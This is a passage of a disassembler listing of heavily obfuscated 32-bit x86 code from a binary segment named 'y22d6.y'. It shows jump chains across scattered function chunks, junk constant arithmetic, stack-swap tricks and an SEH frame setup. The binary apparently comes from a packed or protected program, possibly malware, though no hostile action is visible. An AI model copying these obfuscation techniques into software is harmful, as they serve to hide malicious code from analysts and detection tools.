		jmp	loc_4375A5
sub_43FAC6	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_23. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440280

loc_43FAD5:				; CODE XREF: sub_440280+8109j
		jmp	nullsub_253
; END OF FUNCTION CHUNK	FOR sub_440280
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CC1A

loc_43FADA:				; CODE XREF: sub_43CC1A+B48Cj
		jmp	loc_443E94
; END OF FUNCTION CHUNK	FOR sub_43CC1A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43704E

loc_43FADF:				; CODE XREF: sub_43704E:loc_43B4B0j
		jz	loc_44B831
		jmp	loc_439BA1
; END OF FUNCTION CHUNK	FOR sub_43704E
; ---------------------------------------------------------------------------
		xchg	ecx, edx
		jmp	sub_43AEAA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CDA6

loc_43FAF1:				; CODE XREF: sub_43CDA6+1Aj
		rol	ebx, 0Ch
		and	ebx, 0A3256C69h
		add	ebx, 0FD3F2807h

loc_43FB00:				; CODE XREF: y22d6.y.:loc_44093Bj
		xchg	ebx, [esp+0]
		jmp	loc_43C9B0
; END OF FUNCTION CHUNK	FOR sub_43CDA6
; ---------------------------------------------------------------------------
		or	edi, 0D29EA46Dh
		jmp	sub_448A6F
; ---------------------------------------------------------------------------

loc_43FB13:				; DATA XREF: sub_441DC7-3EF4o
		pop	ebx
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4392B0

loc_43FB15:				; CODE XREF: sub_4392B0:loc_43E71Dj
					; sub_4392B0+5493j
		mov	eax, ds:dword_441954
		mov	al, [eax]
		jmp	loc_44C7A8
; END OF FUNCTION CHUNK	FOR sub_4392B0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_72. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44825F

loc_43FB22:				; CODE XREF: sub_44825F-AE1Cj
		jmp	loc_44E3A3
; END OF FUNCTION CHUNK	FOR sub_44825F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448E3E

loc_43FB27:				; CODE XREF: sub_448E3E:loc_44D3A2j
		xor	edi, 1BE4172Fh
		sub	eax, edi
		pop	edi
		xor	eax, 5BB181D9h
; END OF FUNCTION CHUNK	FOR sub_448E3E
; START	OF FUNCTION CHUNK FOR sub_43B035

loc_43FB36:				; CODE XREF: sub_43B035+2811j
		rol	eax, 1
		mov	ds:dword_444B00, eax
		jmp	loc_44C1C5
; END OF FUNCTION CHUNK	FOR sub_43B035
; ---------------------------------------------------------------------------
		sub	eax, 8DFF4553h
		sub	ecx, 0AFF09B4Eh
		jmp	sub_44C4E8
; ---------------------------------------------------------------------------

loc_43FB54:				; DATA XREF: sub_448EB6-89A3o
		add	edx, 0E8255FA5h
		xchg	edx, [esp]
		jmp	sub_44D293
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449641

loc_43FB62:				; CODE XREF: sub_449641:loc_43D702j
		push	edx

loc_43FB63:				; CODE XREF: y22d6.y.:loc_43EA7Dj
		mov	edx, eax
		xchg	edx, [esp+0Ch+var_C]

loc_43FB68:				; CODE XREF: y22d6.y.:0043A784j
		call	sub_444C6B

loc_43FB6D:				; DATA XREF: y22d6.y.:loc_43B50Do
		xchg	edi, [esp+0Ch+var_C]
		push	edx
		push	0CEF98959h
		xchg	ecx, [esp+0]
		mov	edx, ecx
		jmp	loc_439351
; END OF FUNCTION CHUNK	FOR sub_449641
; ---------------------------------------------------------------------------

loc_43FB80:				; CODE XREF: y22d6.y.:00437FBBj
		xor	edi, 5B9CBFA5h
		and	edi, 23434DE0h
		xor	edi, 5877F91Fh
		add	eax, edi
		pop	edi
		mov	eax, [eax]
		jmp	loc_437D0E
; ---------------------------------------------------------------------------
		mov	esi, [ecx]
		jmp	sub_4411EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44271A

loc_43FBA3:				; CODE XREF: sub_44271A+84AAj
		xchg	edi, [eax]
		or	edi, 0C8D0037Ch
; END OF FUNCTION CHUNK	FOR sub_44271A
; START	OF FUNCTION CHUNK FOR sub_44B1D2

loc_43FBAB:				; CODE XREF: sub_44B1D2-F8D2j
		jmp	loc_447B8D
; END OF FUNCTION CHUNK	FOR sub_44B1D2
; ---------------------------------------------------------------------------

loc_43FBB0:				; CODE XREF: y22d6.y.:0043F3CDj
		or	ecx, edx

loc_43FBB2:				; CODE XREF: y22d6.y.:loc_43F3C5j
		or	esi, 4BD68C96h
		test	esi, 10000000h
		jmp	loc_444913

; =============== S U B	R O U T	I N E =======================================



sub_43FBC3	proc near		; CODE XREF: sub_440280:loc_44BA63p
					; y22d6.y.:0044D1AEj

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004391B1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004396A3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00439F8E SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043B470 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0043B4DC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043D374 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DA03 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0044128A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00441743 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445CE5 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00446EBD SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0044CF9F SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		jmp	loc_441743
sub_43FBC3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440280

loc_43FBCC:				; CODE XREF: sub_440280-822Dj
					; sub_440280+9184j
		pop	ecx
		jmp	loc_43E911
; END OF FUNCTION CHUNK	FOR sub_440280
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_346. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4448C7

loc_43FBD3:				; CODE XREF: sub_4448C7:loc_439CC5j
		pop	edi
		xor	edi, 0E5E5A624h
		rol	edi, 1Dh
		add	edi, 6E1C7353h
		mov	[edi], eax
		jmp	loc_4396A1
; END OF FUNCTION CHUNK	FOR sub_4448C7
; ---------------------------------------------------------------------------

loc_43FBEA:				; CODE XREF: y22d6.y.:0044C82Cj
		pop	eax
		and	eax, 0A35C2F5Ah
		xor	eax, 0F82D1047h
		test	eax, 80000000h
		jmp	loc_44B525

; =============== S U B	R O U T	I N E =======================================



sub_43FC02	proc near		; CODE XREF: y22d6.y.:00440D0Cj
					; sub_440F6A+B933p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0044A31B SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		xchg	ebx, [esp-4+arg_0]
		jmp	loc_44A31B
sub_43FC02	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44ABDD

loc_43FC0F:				; CODE XREF: sub_44ABDD+1j
		jmp	loc_4395A5
; END OF FUNCTION CHUNK	FOR sub_44ABDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4422AA

loc_43FC14:				; CODE XREF: sub_4422AA-64E5j
		jmp	loc_44A364
; END OF FUNCTION CHUNK	FOR sub_4422AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A1BC

loc_43FC19:				; CODE XREF: sub_43A1BC-EB7j
		jmp	nullsub_36
; END OF FUNCTION CHUNK	FOR sub_43A1BC

; =============== S U B	R O U T	I N E =======================================



sub_43FC1E	proc near		; CODE XREF: y22d6.y.:004391BCp
					; y22d6.y.:0044B475j

; FUNCTION CHUNK AT 004404F6 SIZE 0000000B BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	edx, ds:dword_43DCF4
		or	edx, edx
		jnz	loc_43774C
		jmp	loc_4404F6
sub_43FC1E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A359

loc_43FC35:				; CODE XREF: sub_44A359-4D9Cj
		xor	esi, 16C5DD1Fh
		add	esi, 28D55EABh
		xor	esi, 33C397Fh
		cmp	esi, 96C189Ah
		jmp	loc_4382E8
; END OF FUNCTION CHUNK	FOR sub_44A359
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440280

loc_43FC52:				; CODE XREF: sub_440280:loc_4488ECj
		jz	loc_44BA63
		jmp	loc_438E25
; END OF FUNCTION CHUNK	FOR sub_440280

; =============== S U B	R O U T	I N E =======================================



sub_43FC5D	proc near		; DATA XREF: y22d6.y.:loc_439641o
		mov	eax, [esp+0]
		push	edx
		push	ebx
		push	7339872h
		jmp	loc_44C2E5
sub_43FC5D	endp

; ---------------------------------------------------------------------------
		and	ebp, 32FBB9CCh
		jmp	sub_441E5C
; ---------------------------------------------------------------------------

loc_43FC77:				; DATA XREF: sub_43A58D:loc_437D3Do
		push	ecx
		mov	ecx, edx
		xchg	ecx, [esp]
		push	offset sub_438F42
		jmp	locret_43A711
; ---------------------------------------------------------------------------

loc_43FC87:				; CODE XREF: y22d6.y.:004462E6j
		not	ebp

loc_43FC89:				; CODE XREF: y22d6.y.:loc_4462D8j
		add	eax, 0AD6843E3h
		call	sub_43CA1A
		push	edi
		push	25D2C1C9h
		pop	edi
		xor	edi, 0F248E47Bh
		jmp	loc_44B6BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444427

loc_43FCA6:				; CODE XREF: sub_444427-ABA6j
		jge	loc_441667
		push	0E2A54627h
		jmp	loc_441665
; END OF FUNCTION CHUNK	FOR sub_444427

; =============== S U B	R O U T	I N E =======================================



sub_43FCB6	proc near		; CODE XREF: y22d6.y.:0043C4C3j
					; sub_44BB81+7p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043D78C SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	edx, [esp-4+arg_0]
		push	eax
		mov	eax, edx
		nop
		mov	eax, [esp+0]
		call	sub_4480DE
		jmp	loc_43D78C
sub_43FCB6	endp

; ---------------------------------------------------------------------------

loc_43FCCE:				; CODE XREF: y22d6.y.:loc_4402E0j
		jz	loc_43BF27
		jmp	loc_4474E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B98D

loc_43FCD9:				; CODE XREF: sub_43B98D+68A8j
		cmp	dword ptr [eax-1Ch], 0F6h
		jmp	loc_44C4CD
; ---------------------------------------------------------------------------

loc_43FCE5:				; CODE XREF: sub_43B98D:loc_44221Bj
		call	sub_438BEC

loc_43FCEA:				; CODE XREF: sub_448EB6+152Ej
		jmp	loc_43C0B6
; END OF FUNCTION CHUNK	FOR sub_43B98D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AEDA

loc_43FCEF:				; CODE XREF: sub_44AEDA-BE91j
					; sub_44AEDA:loc_440FF5j
		mov	eax, [ebp-24h]
		mov	ecx, [eax+4]
		push	41F7810Bh
		pop	eax
		sub	eax, 6203BFBAh
		jmp	loc_442894
; END OF FUNCTION CHUNK	FOR sub_44AEDA
; ---------------------------------------------------------------------------

loc_43FD06:				; CODE XREF: y22d6.y.:loc_43EC15j
		and	ecx, 83B40E88h
		ror	ebx, 0Fh
		jmp	loc_44CC0D
; ---------------------------------------------------------------------------

loc_43FD14:				; CODE XREF: y22d6.y.:00441409j
		pop	ebx
		xor	ebx, 87643C43h
		cmp	ebx, 1CC7DF2h
		jmp	loc_43901D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_66. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D59A

loc_43FD27:				; CODE XREF: sub_43D59A-38F0j
		jmp	sub_43F7FF
; END OF FUNCTION CHUNK	FOR sub_43D59A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4419CC

loc_43FD2C:				; CODE XREF: y22d6.y.:loc_438C82j
					; sub_4419CC-7EEAj
		push	edx
		call	sub_440AF5
		mov	eax, 276E7523h
		call	sub_43CA1A
		mov	ds:off_41E160, eax
		jmp	loc_44C8A3
; END OF FUNCTION CHUNK	FOR sub_4419CC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AD2F

loc_43FD47:				; CODE XREF: sub_43AD2F+9FCj
		mov	ebp, ebx
		pop	ebx
		push	0AC1D2D6Bh
		pop	eax
		add	eax, 0BBAAF860h
		jmp	loc_44AE79
; END OF FUNCTION CHUNK	FOR sub_43AD2F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65F

loc_43FD5B:				; CODE XREF: sub_43C65F+Dj
		jnz	loc_43EB04
		jmp	loc_449EC5
; END OF FUNCTION CHUNK	FOR sub_43C65F
; ---------------------------------------------------------------------------

loc_43FD66:				; CODE XREF: y22d6.y.:0043F4DCj
		jnp	loc_440645
		add	edx, 0ADE94635h
		rol	ecx, 1Dh
		jmp	loc_44443F

; =============== S U B	R O U T	I N E =======================================



sub_43FD7A	proc near		; CODE XREF: sub_4432B8:loc_442334p
					; y22d6.y.:00444984j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00438DF7 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00448691 SIZE 00000011 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	edi
		push	0F57C1E66h
		jmp	loc_448691
sub_43FD7A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44571D

loc_43FD89:				; CODE XREF: sub_44571D:loc_448ACDj
		jz	loc_449107
		jmp	loc_440934
; END OF FUNCTION CHUNK	FOR sub_44571D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_243. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A041

loc_43FD95:				; CODE XREF: sub_43A041+A27Bj
		jmp	nullsub_305
; END OF FUNCTION CHUNK	FOR sub_43A041
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444581

loc_43FD9A:				; CODE XREF: sub_444581-CA95j
		lea	eax, dword_43F7E0
		call	sub_442DA6

loc_43FDA5:				; CODE XREF: sub_444871-15Fj
		jmp	loc_441BE3
; END OF FUNCTION CHUNK	FOR sub_444581
; ---------------------------------------------------------------------------

loc_43FDAA:				; CODE XREF: y22d6.y.:004427CEj
		jmp	locret_444AF8
; ---------------------------------------------------------------------------

loc_43FDAF:				; CODE XREF: y22d6.y.:0043A72Ej
		jnz	loc_43BB3A
		and	edx, 5393AACh

; =============== S U B	R O U T	I N E =======================================



sub_43FDBB	proc near		; CODE XREF: y22d6.y.:00440F9Dp
		xchg	edi, [esp+0]
		pop	edi
		push	esi
		mov	esi, eax
		xchg	esi, [esp+0]
		push	offset sub_445604
		jmp	nullsub_345
sub_43FDBB	endp

; ---------------------------------------------------------------------------

loc_43FDCF:				; CODE XREF: y22d6.y.:loc_4396ADj
		add	eax, 9DC52DE7h
		call	sub_43CA1A
		push	esi
		push	9AA61967h
		pop	esi
		sub	esi, ds:4000E4h
		xor	esi, 9840B64h
		add	esi, 8F0FEC5Dh
		jmp	loc_447247
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B9D9

loc_43FDF8:				; CODE XREF: sub_43B9D9+Dj
		sub	edi, 0F23B2A25h
		add	edi, 0F25FF19Ah
		xchg	edi, [esp+4+var_4]
		jmp	sub_43CA1A
; END OF FUNCTION CHUNK	FOR sub_43B9D9
; ---------------------------------------------------------------------------
		push	offset sub_43EA64
		jmp	locret_441829
; ---------------------------------------------------------------------------
		mov	[edi], ebp
		jmp	sub_44ABB0
; ---------------------------------------------------------------------------

loc_43FE1D:				; CODE XREF: y22d6.y.:0044D7B1j
		pop	ecx
		ror	esi, 4
; START	OF FUNCTION CHUNK FOR sub_43C694

loc_43FE21:				; CODE XREF: sub_43C694:loc_43DA27j
		add	ebx, 45C786ABh
		or	ebx, 0AF0079A5h
		add	ebx, 10CF758Ch
		xchg	ebx, [esp+4+var_4]
		jmp	sub_43CA1A
; END OF FUNCTION CHUNK	FOR sub_43C694

; =============== S U B	R O U T	I N E =======================================



sub_43FE3B	proc near		; DATA XREF: sub_43910C+F7F6o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043E6A1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D518 SIZE 00000010 BYTES

		push	esi
		push	53B96955h
		pop	esi
		sub	esi, 14EECEh
		and	esi, 84010FD0h
		jmp	loc_43E6A1
sub_43FE3B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BCC2

loc_43FE53:				; CODE XREF: sub_44BCC2:loc_43B3A1j
		mov	[ebp+eax-100h],	dl
		inc	dword ptr [ebp-108h]
		inc	dword ptr [ebp-104h]
		jmp	loc_44A3B2
; END OF FUNCTION CHUNK	FOR sub_44BCC2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BCA9

loc_43FE6B:				; CODE XREF: sub_43BCA9+F3E6j
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		jmp	loc_447768
; END OF FUNCTION CHUNK	FOR sub_43BCA9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B3C9

loc_43FE7E:				; CODE XREF: sub_44B3C9-100E3j
		or	eax, 0F0A08A35h
		push	offset sub_44C951
		jmp	loc_43919C
; END OF FUNCTION CHUNK	FOR sub_44B3C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AEDA

loc_43FE8E:				; CODE XREF: sub_44AEDA:loc_439842j
		xor	ecx, 39396F23h
		add	ecx, eax
		push	eax
		push	62D93D01h
		pop	eax
		jmp	loc_44DDA0
; END OF FUNCTION CHUNK	FOR sub_44AEDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E63C

loc_43FEA2:				; CODE XREF: sub_44E63C-112D3j
		add	eax, 777DC941h
		add	eax, ebp
		add	eax, 0E6B855BDh
		call	sub_4409F4

loc_43FEB5:				; CODE XREF: y22d6.y.:0044E683j
		jmp	loc_443C70
; END OF FUNCTION CHUNK	FOR sub_44E63C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_105. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44439D

loc_43FEBB:				; CODE XREF: sub_44439D-929Aj
		jmp	loc_44B553
; END OF FUNCTION CHUNK	FOR sub_44439D
; ---------------------------------------------------------------------------

loc_43FEC0:				; CODE XREF: y22d6.y.:0043C45Bj
		jl	loc_442B07

; =============== S U B	R O U T	I N E =======================================



sub_43FEC6	proc near		; CODE XREF: sub_44C02C:loc_4443D4p

; FUNCTION CHUNK AT 0043A087 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044165B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441C83 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044746B SIZE 00000010 BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	esi
		mov	esi, ecx
		jmp	loc_44165B
sub_43FEC6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439A5D

loc_43FED2:				; CODE XREF: sub_439A5D+10j
		add	edi, 0FFC71A3Fh
		and	edi, 151DED3Ah
		xor	edi, 6CF7535Eh
		add	edi, 83602494h
		xchg	edi, [esp-8+arg_4]
		jmp	sub_43CA1A
; END OF FUNCTION CHUNK	FOR sub_439A5D
; ---------------------------------------------------------------------------
		mov	ds:dword_41E198, eax
		jmp	loc_44AFD5
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_295. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437FD8

loc_43FEFE:				; CODE XREF: sub_437FD8+15A58j
		jmp	loc_438B28
; END OF FUNCTION CHUNK	FOR sub_437FD8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4416F3

loc_43FF03:				; CODE XREF: sub_4416F3-838j
		sbb	ebp, 7CB1A750h
		popf
		test	edx, 4A73DDA9h
		jmp	loc_44B36B
; END OF FUNCTION CHUNK	FOR sub_4416F3
; ---------------------------------------------------------------------------

loc_43FF15:				; CODE XREF: y22d6.y.:0044AF1Ej
		jge	loc_43DF73

; =============== S U B	R O U T	I N E =======================================



sub_43FF1B	proc near		; CODE XREF: sub_44256D+3830p

; FUNCTION CHUNK AT 00444365 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00447784 SIZE 00000010 BYTES

		xchg	ebx, [esp+0]

loc_43FF1E:				; CODE XREF: y22d6.y.:0043F877j
		pop	ebx
		call	sub_44C758
		mov	eax, 0CB39536Bh
		jmp	loc_444365
sub_43FF1B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	eax, 78BDA40Ah
		push	esi
		push	0BDBD3780h
		pop	esi
		xor	esi, 37405F6Bh
		cmp	esi, 0B078F0A1h
		jmp	loc_44797C
; ---------------------------------------------------------------------------

loc_43FF4B:				; DATA XREF: sub_44A359-C055o
		push	ecx
		call	sub_441191
; START	OF FUNCTION CHUNK FOR sub_43B0EE

loc_43FF51:				; CODE XREF: sub_43B0EE+Aj
		jmp	loc_43E766
; END OF FUNCTION CHUNK	FOR sub_43B0EE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FAC6

loc_43FF56:				; CODE XREF: sub_43FAC6-5CBAj
		jmp	loc_442F68
; END OF FUNCTION CHUNK	FOR sub_43FAC6
; ---------------------------------------------------------------------------

loc_43FF5B:				; CODE XREF: y22d6.y.:00437143j
		jmp	sub_43B58F
; ---------------------------------------------------------------------------

loc_43FF60:				; CODE XREF: y22d6.y.:0044A251j
		call	sub_438F17
		push	8F20321Bh
		pop	eax
		or	eax, 0E86E3766h
		jnz	loc_444814
; START	OF FUNCTION CHUNK FOR sub_44E2B6

loc_43FF77:				; CODE XREF: sub_44E2B6-853Cj
		jmp	sub_43CA1A
; END OF FUNCTION CHUNK	FOR sub_44E2B6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442245

loc_43FF7C:				; CODE XREF: sub_442245+1Bj
		jmp	loc_439BD5
; END OF FUNCTION CHUNK	FOR sub_442245
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B489

loc_43FF81:				; CODE XREF: sub_44B489-D642j
		jmp	loc_44AA97
; END OF FUNCTION CHUNK	FOR sub_44B489
; ---------------------------------------------------------------------------
		jge	loc_43CC63
		and	ebp, 5ADA89FFh
		jmp	loc_437008
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44999F

loc_43FF97:				; CODE XREF: sub_44999F+Cj
		mov	eax, esi
		pop	esi
		and	eax, 0F72FB13Eh
		cmp	eax, 257225DDh
		jmp	loc_43DD19
; END OF FUNCTION CHUNK	FOR sub_44999F
; ---------------------------------------------------------------------------

loc_43FFAB:				; DATA XREF: sub_43A1BC:loc_439300o
		call	sub_43FFBB

locret_43FFB0:				; CODE XREF: y22d6.y.:loc_4392FAj
		retn
; ---------------------------------------------------------------------------

loc_43FFB1:				; CODE XREF: y22d6.y.:0044E0E3j
		jmp	loc_44C65A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440280

loc_43FFB6:				; CODE XREF: sub_440280+AFBBj
		jmp	loc_44C368
; END OF FUNCTION CHUNK	FOR sub_440280

; =============== S U B	R O U T	I N E =======================================



sub_43FFBB	proc near		; CODE XREF: y22d6.y.:loc_43FFABp

; FUNCTION CHUNK AT 0043BC11 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440BF7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448797 SIZE 0000000F BYTES

		push	ebx
		push	ecx
		jmp	loc_43BC11
sub_43FFBB	endp


; =============== S U B	R O U T	I N E =======================================



sub_43FFC2	proc near		; DATA XREF: sub_448EB6+4C4Ao
		lea	eax, dword_4391A4
		push	esi
		mov	esi, eax
		push	offset sub_448422
		jmp	loc_4485C2
sub_43FFC2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EC92

loc_43FFD5:				; CODE XREF: sub_43EC92-759Aj
		jnp	loc_444D2F

loc_43FFDB:				; CODE XREF: sub_448EB6+2D9j
		sub	ebx, edx
		jmp	loc_449FD9
; END OF FUNCTION CHUNK	FOR sub_43EC92

; =============== S U B	R O U T	I N E =======================================



sub_43FFE2	proc near		; CODE XREF: sub_44B17B-14082p
					; y22d6.y.:0043F7A6j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00438D2A SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043BAD1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043BCF7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043CC91 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0043E7E3 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043F55E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043F7D9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440081 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004408A7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00440E27 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004415E1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044201A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00442747 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 004439B5 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00447E99 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004492B6 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0044A60A SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0044AE9B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C24A SIZE 00000005 BYTES

		xchg	edx, [esp+4+var_4]
		pop	edx
		add	edx, 9DEA3A7Bh
		mov	[edx], eax
		jmp	loc_4415E1
sub_43FFE2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jmp	ds:off_41E044
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_43FFF9:				; CODE XREF: sub_4432B8-F72j
					; sub_4382FE:loc_444F5Fj ...
		jnb	loc_447015
		xchg	ebx, [esp+0]

loc_440002:				; CODE XREF: sub_440330+CA5Dj
		mov	edx, ebx
		pop	ebx
		mov	eax, [esp-4+arg_0]
		push	edx
		call	sub_43BE66
		jmp	loc_446FF7
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------

loc_440013:				; CODE XREF: y22d6.y.:loc_44C97Bj
		jnb	loc_43E65D

loc_440019:				; CODE XREF: y22d6.y.:00441069j
		jmp	loc_440C07
; ---------------------------------------------------------------------------
		add	ebx, 96F6F699h
		jmp	loc_43E65B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448B90

loc_440029:				; CODE XREF: sub_448B90+1j
		mov	ebp, esp
		call	sub_43C538

loc_440030:				; CODE XREF: sub_44AA69+84Aj
		jmp	nullsub_121
; END OF FUNCTION CHUNK	FOR sub_448B90
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C6D7

loc_440035:				; CODE XREF: sub_43C6D7+F741j
		ja	loc_43F8E2
		xchg	eax, [edx]
		xchg	ecx, esi
		jmp	loc_44E4C8
; END OF FUNCTION CHUNK	FOR sub_43C6D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B0EE

loc_440044:				; CODE XREF: sub_43B0EE-1D34j
		cdq
		pushf

loc_440046:				; CODE XREF: sub_43B0EE:loc_44CF5Fj
		call	sub_43760A
		mov	edx, 0C231F698h
		call	sub_44D293
		push	eax
		ror	eax, 15h
		jmp	loc_438E1B
; END OF FUNCTION CHUNK	FOR sub_43B0EE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44057E

loc_44005E:				; CODE XREF: sub_44057E:loc_44B58Aj
		popf
		test	esi, 6F9BACF9h
		jmp	loc_43F713
; END OF FUNCTION CHUNK	FOR sub_44057E
; ---------------------------------------------------------------------------
		pop	ecx
		jmp	loc_4451AD
; ---------------------------------------------------------------------------

locret_440070:				; CODE XREF: y22d6.y.:loc_442EDEj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444E14

loc_440071:				; CODE XREF: sub_444E14+4F44j
		jmp	loc_43D33F
; END OF FUNCTION CHUNK	FOR sub_444E14
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438077

loc_440076:				; CODE XREF: sub_438077+49FBj
		jmp	nullsub_342
; END OF FUNCTION CHUNK	FOR sub_438077
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_69. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AA5D

loc_44007C:				; CODE XREF: sub_44AA5D-7CBj
		jmp	loc_449D85
; END OF FUNCTION CHUNK	FOR sub_44AA5D
; ---------------------------------------------------------------------------
